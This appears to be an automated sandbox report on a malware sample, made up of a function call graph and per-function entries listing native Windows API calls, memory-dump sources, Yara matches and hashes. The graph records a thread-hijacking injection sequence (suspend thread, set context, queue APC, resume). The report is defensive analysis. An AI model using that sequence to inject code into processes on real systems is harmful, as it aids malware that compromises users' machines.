88593->88594 88595 41ac00 LdrLoadDll 88594->88595 88596 41ad66 88595->88596 88597 41ac00 LdrLoadDll 88596->88597 88598 41ad6f 88597->88598 88599 41ac00 LdrLoadDll 88598->88599 88600 41ad78 88599->88600 88601 41ac00 LdrLoadDll 88600->88601 88602 41ad81 88601->88602 88603 41ac00 LdrLoadDll 88602->88603 88604 41ad8d 88603->88604 88605 41ac00 LdrLoadDll 88604->88605 88606 41ad96 88605->88606 88607 41ac00 LdrLoadDll 88606->88607 88608 41ad9f 88607->88608 88609 41ac00 LdrLoadDll 88608->88609 88610 41ada8 88609->88610 88611 41ac00 LdrLoadDll 88610->88611 88612 41adb1 88611->88612 88613 41ac00 LdrLoadDll 88612->88613 88614 41adba 88613->88614 88615 41ac00 LdrLoadDll 88614->88615 88616 41adc6 88615->88616 88617 41ac00 LdrLoadDll 88616->88617 88618 41adcf 88617->88618 88619 41ac00 LdrLoadDll 88618->88619 88620 41add8 88619->88620 88621 41ac00 LdrLoadDll 88620->88621 88622 41ade1 88621->88622 88623 41ac00 LdrLoadDll 88622->88623 88624 41adea 88623->88624 88625 41ac00 LdrLoadDll 88624->88625 88626 41adf3 88625->88626 88627 41ac00 LdrLoadDll 88626->88627 88628 41adff 88627->88628 88629 41ac00 LdrLoadDll 88628->88629 88630 41ae08 88629->88630 88631 41ac00 LdrLoadDll 88630->88631 88632 41ae11 88631->88632 88633 41ac00 LdrLoadDll 88632->88633 88634 41ae1a 88633->88634 88635 41ac00 LdrLoadDll 88634->88635 88636 41ae23 88635->88636 88637 41ac00 LdrLoadDll 88636->88637 88638 41ae2c 88637->88638 88639 41ac00 LdrLoadDll 88638->88639 88640 41ae38 88639->88640 88641 41ac00 LdrLoadDll 88640->88641 88642 41ae41 88641->88642 88643 41ac00 LdrLoadDll 88642->88643 88644 41ae4a 88643->88644 88645 41ac00 LdrLoadDll 88644->88645 88646 41ae53 88645->88646 88647 41ac00 LdrLoadDll 88646->88647 88648 41ae5c 88647->88648 88649 41ac00 LdrLoadDll 88648->88649 88650 41ae65 88649->88650 88651 41ac00 LdrLoadDll 88650->88651 88652 41ae71 88651->88652 88653 41ac00 LdrLoadDll 88652->88653 88654 41ae7a 88653->88654 88655 41ac00 LdrLoadDll 88654->88655 88656 41ae83 88655->88656 88657 41ac00 LdrLoadDll 88656->88657 88658 41ae8c 88657->88658 88659 41ac00 LdrLoadDll 88658->88659 88660 41ae95 88659->88660 88661 41ac00 LdrLoadDll 88660->88661 88662 41ae9e 88661->88662 88663 41ac00 LdrLoadDll 88662->88663 88664 41aeaa 88663->88664 88665 41ac00 LdrLoadDll 88664->88665 88666 41aeb3 88665->88666 88667 41ac00 LdrLoadDll 88666->88667 88668 41aebc 88667->88668 88668->88454 88670 41af30 LdrLoadDll 88669->88670 88671 419eac 88670->88671 88693 1df92df0 LdrInitializeThunk 88671->88693 88672 419ec3 88672->88374 88674->88451 88676 41a52c NtAllocateVirtualMemory 88675->88676 88677 41af30 LdrLoadDll 88675->88677 88676->88554 88677->88676 88679 41cf10 88678->88679 88680 41cf16 88678->88680 88679->88559 88681 41cf3c 88680->88681 88682 41bf60 2 API calls 88680->88682 88681->88559 88682->88681 88684 41bd90 2 API calls 88683->88684 88685 414334 88684->88685 88685->88571 88686->88563 88688 41ac1b 88687->88688 88689 414e50 LdrLoadDll 88688->88689 88690 41ac3b 88689->88690 88691 414e50 LdrLoadDll 88690->88691 88692 41ace7 88690->88692 88691->88692 88692->88593 88693->88672 88695 1df92c1f LdrInitializeThunk 88694->88695 88696 1df92c11 88694->88696 88695->88460 88696->88460 88698 41a65c RtlFreeHeap 88697->88698 88699 41af30 LdrLoadDll 88697->88699 88698->88463 88699->88698 88701 407eb0 88700->88701 88702 407eab 88700->88702 88703 41bd10 2 API calls 88701->88703 88702->88382 88710 407ed5 88703->88710 88704 407f38 88704->88382 88705 419e90 2 API calls 88705->88710 88706 407f3e 88707 407f64 88706->88707 88709 41a590 2 API calls 88706->88709 88707->88382 88711 407f55 88709->88711 88710->88704 88710->88705 88710->88706 88712 41bd10 2 API calls 88710->88712 88716 41a590 88710->88716 88711->88382 88712->88710 88714 41a590 2 API calls 88713->88714 88715 40817e 88714->88715 88715->88343 88717 41af30 LdrLoadDll 88716->88717 88718 41a5ac 88717->88718 88721 1df92c70 LdrInitializeThunk 88718->88721 88719 41a5c3 88719->88710 88721->88719 88723 41b593 88722->88723 88726 40acf0 88723->88726 88727 40acf1 88726->88727 88728 40ad50 LdrLoadDll 88727->88728 88729 409c5b 88727->88729 88728->88729 88729->88351 88731 40b063 88730->88731 88731->88731 88732 40b0e0 88731->88732 88745 419c60 LdrLoadDll 88731->88745 88732->88356 88735 41af30 LdrLoadDll 88734->88735 88736 40f1bb 88735->88736 88736->88364 88737 41a7a0 88736->88737 88738 41a7bf LookupPrivilegeValueW 88737->88738 88739 41af30 LdrLoadDll 88737->88739 88738->88360 88739->88738 88741 41a24c 88740->88741 88742 41af30 LdrLoadDll 88740->88742 88746 1df92ea0 LdrInitializeThunk 88741->88746 88742->88741 88743 41a26b 88743->88363 88745->88732 88746->88743 88748 40b1c9 88747->88748 88749 40b040 LdrLoadDll 88748->88749 88750 40b204 88749->88750 88750->88298 88752 40ae51 88751->88752 88753 40ae4d 88751->88753 88754 40ae9c 88752->88754 88755 40ae6a 88752->88755 88753->88300 88799 419ca0 LdrLoadDll 88754->88799 88798 419ca0 LdrLoadDll 88755->88798 88757 40aead 88757->88300 88759 40ae8c 88759->88300 88761 4143a7 88760->88761 88762 40f4a0 3 API calls 88761->88762 88763 4143c6 88762->88763 88763->88302 88800 4087a0 88764->88800 88767 408a9d 88767->88304 88768 4087a0 19 API calls 88769 408a8a 88768->88769 88769->88767 88818 40f710 10 API calls 88769->88818 88772 41af30 LdrLoadDll 88771->88772 88773 41a4ec 88772->88773 88938 1df92e80 LdrInitializeThunk 88773->88938 88774 40c322 88776 40f4a0 88774->88776 88777 40f4bd 88776->88777 88939 419f90 88777->88939 88780 40f505 88780->88308 88781 419fe0 2 API calls 88782 40f52e 88781->88782 88782->88308 88784 41af30 LdrLoadDll 88783->88784 88785 419ffc 88784->88785 88945 1df92d10 LdrInitializeThunk 88785->88945 88786 40c385 88786->88314 88786->88317 88789 41af30 LdrLoadDll 88788->88789 88790 41a04c 88789->88790 88946 1df92d30 LdrInitializeThunk 88790->88946 88791 40c459 88791->88325 88794 41af30 LdrLoadDll 88793->88794 88795 419e0c 88794->88795 88947 1df92fb0 LdrInitializeThunk 88795->88947 88796 40c4ac 88796->88329 88798->88759 88799->88757 88801 407ea0 4 API calls 88800->88801 88808 4087ba 88801->88808 88802 408a49 88802->88767 88802->88768 88803 408a3f 88804 408160 2 API calls 88803->88804 88804->88802 88807 419ed0 2 API calls 88807->88808 88808->88802 88808->88803 88808->88807 88810 41a460 LdrLoadDll NtClose 88808->88810 88813 40c4c0 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 88808->88813 88816 419df0 2 API calls 88808->88816 88819 419ce0 88808->88819 88822 4085d0 88808->88822 88834 40f5f0 LdrLoadDll NtClose 88808->88834 88835 419d60 LdrLoadDll 88808->88835 88836 419d90 LdrLoadDll 88808->88836 88837 419e20 LdrLoadDll 88808->88837 88838 4083a0 88808->88838 88854 405f60 LdrLoadDll 88808->88854 88810->88808 88813->88808 88816->88808 88818->88767 88820 41af30 LdrLoadDll 88819->88820 88821 419cfc 88820->88821 88821->88808 88823 4085e6 88822->88823 88855 419850 88823->88855 88825 408771 88825->88808 88826 4085ff 88826->88825 88876 4081a0 88826->88876 88828 4086e5 88828->88825 88829 4083a0 11 API calls 88828->88829 88830 408713 88829->88830 88830->88825 88831 419ed0 2 API calls 88830->88831 88832 408748 88831->88832 88832->88825 88833 41a4d0 2 API calls 88832->88833 88833->88825 88834->88808 88835->88808 88836->88808 88837->88808 88839 4083c9 88838->88839 88917 408310 88839->88917 88841 4083dc 88843 41a4d0 2 API calls 88841->88843 88844 408467 88841->88844 88847 408462 88841->88847 88925 40f670 88841->88925 88843->88841 88844->88808 88845 41a460 2 API calls 88846 40849a 88845->88846 88846->88844 88848 419ce0 LdrLoadDll 88846->88848 88847->88845 88849 4084ff 88848->88849 88849->88844 88929 419d20 88849->88929 88851 408563 88851->88844 88852 414a50 8 API calls 88851->88852 88853 4085b8 88852->88853 88853->88808 88854->88808 88856 41bf60 2 API calls 88855->88856 88857 419867 88856->88857 88883 409310 88857->88883 88859 419882 88860 4198c0 88859->88860 88861 4198a9 88859->88861 88863 41bd10 2 API calls 88860->88863 88862 41bd90 2 API calls 88861->88862 88864 4198b6 88862->88864 88865 4198fa 88863->88865 88864->88826 88866 41bd10 2 API calls 88865->88866 88867 419913 88866->88867 88873 419bb4 88867->88873 88889 41bd50 88867->88889 88870 419ba0 88871 41bd90 2 API calls 88870->88871 88872 419baa 88871->88872 88872->88826 88874 41bd90 2 API calls 88873->88874 88875 419c09 88874->88875 88875->88826 88877 40829f 88876->88877 88878 4081b5 88876->88878 88877->88828 88878->88877 88879 414a50 8 API calls 88878->88879 88880 408222 88879->88880 88881 41bd90 2 API calls 88880->88881 88882 408249 88880->88882 88881->88882 88882->88828 88884 409335 88883->88884 88885 40acf0 LdrLoadDll 88884->88885 88886 409368 88885->88886 88887 40938d 88886->88887 88893 40cf20 88886->88893 88887->88859 88890 41bd5e 88889->88890 88911 41a550 88890->88911 88894 40cf4c 88893->88894 88895 41a1b0 LdrLoadDll 88894->88895 88896 40cf65 88895->88896 88897 40cf6c 88896->88897 88904 41a1f0 88896->88904 88897->88887 88901 40cfa7 88902 41a460 2 API calls 88901->88902 88903 40cfca 88902->88903 88903->88887 88905 41a20c 88904->88905 88906 41af30 LdrLoadDll 88904->88906 88910 1df92ca0 LdrInitializeThunk 88905->88910 88906->88905 88907 40cf8f 88907->88897 88909 41a7e0 LdrLoadDll 88907->88909 88909->88901 88910->88907 88912 41af30 LdrLoadDll 88911->88912 88913 41a56c 88912->88913 88916 1df92f90 LdrInitializeThunk 88913->88916 88914 419b99 88914->88870 88914->88873 88916->88914 88918 408328 88917->88918 88919 40acf0 LdrLoadDll 88918->88919 88920 408343 88919->88920 88921 414e50 LdrLoadDll 88920->88921 88922 408353 88921->88922 88923 40835c PostThreadMessageW 88922->88923 88924 408370 88922->88924 88923->88924 88924->88841 88926 40f683 88925->88926 88932 419e60 88926->88932 88930 419d3c 88929->88930 88931 41af30 LdrLoadDll 88929->88931 88930->88851 88931->88930 88933 41af30 LdrLoadDll 88932->88933 88934 419e7c 88933->88934 88937 1df92dd0 LdrInitializeThunk 88934->88937 88935 40f6ae 88935->88841 88937->88935 88938->88774 88940 41af30 LdrLoadDll 88939->88940 88941 419fac 88940->88941 88944 1df92f30 LdrInitializeThunk 88941->88944 88942 40f4fe 88942->88780 88942->88781 88944->88942 88945->88786 88946->88791 88947->88796 88950 1df92ad0 LdrInitializeThunk 88952 1deacb84 88955 1deaa042 88952->88955 88954 1deacba5 88957 1deaa06b 88955->88957 88956 1deaa577 88956->88954 88957->88956 88958 1deaa182 NtQueryInformationProcess 88957->88958 88959 1deaa1ba 88958->88959 88960 1deaa2fc NtSuspendThread 88959->88960 88962 1deaa1ef 88959->88962 88961 1deaa30d 88960->88961 88963 1deaa331 88960->88963 88961->88954 88962->88954 88965 1deaa4a6 NtSetContextThread 88963->88965 88968 1deaa4f2 88963->88968 88964 1deaa552 NtResumeThread NtClose 88964->88956 88966 1deaa4bd 88965->88966 88967 1deaa4da NtQueueApcThread 88966->88967 88966->88968 88967->88968 88968->88964

                                                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                                                  Function 1DEAA036 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 481nativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • NtQueryInformationProcess.NTDLL ref: 1DEAA19F
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335600922.000000001DEA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1DEA0000, based on PE: false
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1dea0000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InformationProcessQuery
                                                                                                                                                                                                                                  • String ID: 0
                                                                                                                                                                                                                                  • API String ID: 1778838933-4108050209
                                                                                                                                                                                                                                  • Opcode ID: fec0eebca03a74a6a4f8083be1d61863fdd615d3442dda782298204f744765a6
                                                                                                                                                                                                                                  • Instruction ID: 4b8949088ce6349f0236b655636ee8fa7d38e8238121b9addbd7d6111c38a3d1
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: fec0eebca03a74a6a4f8083be1d61863fdd615d3442dda782298204f744765a6
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DAF17074918A8D8FDBA5DF68C894AEEB7E0FF98305F41462AD54EDB210DF309641CB42
                                                                                                                                                                                                                                  Function 0041A3E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36filenativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • NtReadFile.NTDLL(rMA,5EB65239,FFFFFFFF,?,?,?,rMA,?,1JA,FFFFFFFF,5EB65239,00414D72,?,00000000), ref: 0041A425
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FileRead
                                                                                                                                                                                                                                  • String ID: 1JA$rMA$rMA
                                                                                                                                                                                                                                  • API String ID: 2738559852-782607585
                                                                                                                                                                                                                                  • Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                                                                                                                                                                  • Instruction ID: c75c44bd16ed9a046d03b4490adc68ebadf214b0f3589fd2ba36fb57c0fad8bd
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 95F0B7B2210208AFCB14DF89DC81EEB77ADEF8C754F158249BE1D97241D630E851CBA4
                                                                                                                                                                                                                                  Function 1DEAA042 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 163nativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • NtQueryInformationProcess.NTDLL ref: 1DEAA19F
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335600922.000000001DEA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1DEA0000, based on PE: false
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1dea0000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InformationProcessQuery
                                                                                                                                                                                                                                  • String ID: 0
                                                                                                                                                                                                                                  • API String ID: 1778838933-4108050209
                                                                                                                                                                                                                                  • Opcode ID: 4a13b2017a61ababd9bba988d9a9b5b8b8f576b3da72e298de5122239bed11ad
                                                                                                                                                                                                                                  • Instruction ID: b3eaec48e04a74c9f291ce6c29c48a3c1dae9ff236ab7783ab28d9378d95c9a6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4a13b2017a61ababd9bba988d9a9b5b8b8f576b3da72e298de5122239bed11ad
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: CD513B74918A8C8FDB65DF68C8846EEB7F4FB98305F41462ED54ADB210DF309645CB41
                                                                                                                                                                                                                                  Function 0040ACF0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 443 40acf0-40ad19 call 41cc20 447 40ad1b-40ad1e 443->447 448 40ad1f-40ad2d call 41d040 443->448 451 40ad3d-40ad4e call 41b470 448->451 452 40ad2f-40ad3a call 41d2c0 448->452 458 40ad50-40ad64 LdrLoadDll 451->458 459 40ad67-40ad6a 451->459 452->451 458->459
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD62
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Load
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2234796835-0
                                                                                                                                                                                                                                  • Opcode ID: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                                                                                                                                                                  • Instruction ID: 667dcf47c4413345b20473d406be44d3d8b7ebea9a3b2269cd40777f9644ce6e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 79015EB5D0020DBBDB10EBA1DC42FDEB3799F54308F0045AAA908A7281F638EB54CB95
                                                                                                                                                                                                                                  Function 0041A330 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • NtCreateFile.NTDLL(00000060,00409CF3,?,00414BB7,00409CF3,FFFFFFFF,?,?,FFFFFFFF,00409CF3,00414BB7,?,00409CF3,00000060,00000000,00000000), ref: 0041A37D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CreateFile
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 823142352-0
                                                                                                                                                                                                                                  • Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                                                                                                                                                                  • Instruction ID: 7ed6e6cb708c972561b0f9910f559a39af1ab3cc862b6eef20835abd22e26781
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C4F0BDB2211208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E851CBA4
                                                                                                                                                                                                                                  Function 0041A50C Relevance: 1.5, APIs: 1, Instructions: 33memorynativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B104,?,00000000,?,00003000,00000040,00000000,00000000,00409CF3), ref: 0041A549
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2167126740-0
                                                                                                                                                                                                                                  • Opcode ID: 1ec0fd3df2ab0ae5fcbbd5e8fe86f4c17ec8d84e150f5511eb5df22302502f39
                                                                                                                                                                                                                                  • Instruction ID: 11b23370421804cc6a75d908c3a72bbfd952d6449540e82947b1c1c329020fe1
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1ec0fd3df2ab0ae5fcbbd5e8fe86f4c17ec8d84e150f5511eb5df22302502f39
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7DF01CB1210119AFCB14DF99CC81EEB77A9EF88364F158159FE49D7251C635E812CBA0
                                                                                                                                                                                                                                  Function 0041A510 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B104,?,00000000,?,00003000,00000040,00000000,00000000,00409CF3), ref: 0041A549
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2167126740-0
                                                                                                                                                                                                                                  • Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                                                                                                                                                                  • Instruction ID: 8b47746d7073478515a2f8fd1fb94e42dcc9ffa91ac9ff965dae3841ed3a313c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9CF015B2210208ABCB14DF89CC81EEB77ADAF88754F118149BE0897241C630F811CBA4
                                                                                                                                                                                                                                  Function 0041A460 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • NtClose.NTDLL(00414D50,?,?,00414D50,00409CF3,FFFFFFFF), ref: 0041A485
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Close
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3535843008-0
                                                                                                                                                                                                                                  • Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                                                                                                                                                                  • Instruction ID: e9450f8bec15428cdd91297f97b7848412804bda5c7d31b3f0e5b01193c95e83
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3CD01776211214ABD710EB99CC85EE77BACEF48764F15449ABA189B242C530FA1186E0
                                                                                                                                                                                                                                  Function 0041A48B Relevance: 1.5, APIs: 1, Instructions: 15nativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • NtClose.NTDLL(00414D50,?,?,00414D50,00409CF3,FFFFFFFF), ref: 0041A485
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Close
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3535843008-0
                                                                                                                                                                                                                                  • Opcode ID: 7536e8475eed58a59115a451cfaa3f9dba7c3c003d28b1936ebb13531178bcfe
                                                                                                                                                                                                                                  • Instruction ID: 28fcdd70d2eec39f7f587ae36420919078d14941328bf651ff763856f5fe91c7
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7536e8475eed58a59115a451cfaa3f9dba7c3c003d28b1936ebb13531178bcfe
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 76C012B96467502BC700A6BC9C814D7B798AE41338354445BE49842603E175D22642E2
                                                                                                                                                                                                                                  Function 1DF92DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 54bb356b5036dd8df373dfc11052578c09376e40eb0c206ae86da5b838859c1d
                                                                                                                                                                                                                                  • Instruction ID: 88f6ff4321cf29d2aff58dbcdbc0a1cd8e42ae1739c93acaac9dcd2218c861a5
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 54bb356b5036dd8df373dfc11052578c09376e40eb0c206ae86da5b838859c1d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8290027174140423D111719C850470B000947D0241FD5C416A0424918D96AA8B52E133
                                                                                                                                                                                                                                  Function 1DF92DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 930931a9ebcc980ff410c67bfae197608403b8a78865177752fbe5742047a158
                                                                                                                                                                                                                                  • Instruction ID: d6951817690b94b67e9d18eccc03440556cca20b34d4c2d6cc4ef7b987c62730
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 930931a9ebcc980ff410c67bfae197608403b8a78865177752fbe5742047a158
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 90900261782441625545B19C840450B400657E0241BD5C016A1414D10C857A9A56D633
                                                                                                                                                                                                                                  Function 1DF92D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
